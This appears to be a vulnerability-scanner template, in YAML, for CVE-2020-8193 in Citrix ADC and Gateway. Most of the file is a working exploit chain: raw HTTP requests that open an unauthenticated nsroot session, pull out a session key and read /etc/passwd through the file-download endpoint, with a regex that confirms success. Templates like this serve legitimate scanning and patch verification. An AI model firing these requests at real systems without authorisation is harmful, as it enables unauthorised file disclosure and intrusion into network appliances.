80 lines
2.3 KiB
YAML
80 lines
2.3 KiB
YAML
id: CVE-2020-8193
|
|
|
|
info:
|
|
name: Citrix - Local File Inclusion
|
|
author: pdteam
|
|
severity: medium
|
|
description: Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 are vulnerable to local file inclusion because they allow unauthenticated access to certain URL endpoints.
|
|
reference:
|
|
- https://github.com/jas502n/CVE-2020-8193
|
|
- http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html
|
|
- https://support.citrix.com/article/CTX276688
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-8193
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2020-8193
|
|
cwe-id: CWE-862
|
|
epss-score: 0.97456
|
|
tags: cve,cve2020,citrix,lfi,kev,packetstorm
|
|
metadata:
|
|
max-request: 6
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/xml
|
|
X-NITRO-USER: xpyZxwy6
|
|
X-NITRO-PASS: xWXHUJ56
|
|
|
|
<appfwprofile><login></login></appfwprofile>
|
|
|
|
- |
|
|
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /menu/neo HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /menu/stc HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/xml
|
|
X-NITRO-USER: oY39DXzQ
|
|
X-NITRO-PASS: ZuU9Y9c1
|
|
rand_key: {{randkey}}
|
|
|
|
<appfwprofile><login></login></appfwprofile>
|
|
|
|
- |
|
|
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/xml
|
|
X-NITRO-USER: oY39DXzQ
|
|
X-NITRO-PASS: ZuU9Y9c1
|
|
rand_key: {{randkey}}
|
|
|
|
<clipermission></clipermission>
|
|
|
|
cookie-reuse: true
|
|
extractors:
|
|
- type: regex
|
|
name: randkey # dynamic variable
|
|
part: body
|
|
internal: true
|
|
regex:
|
|
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
|
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
part: body
|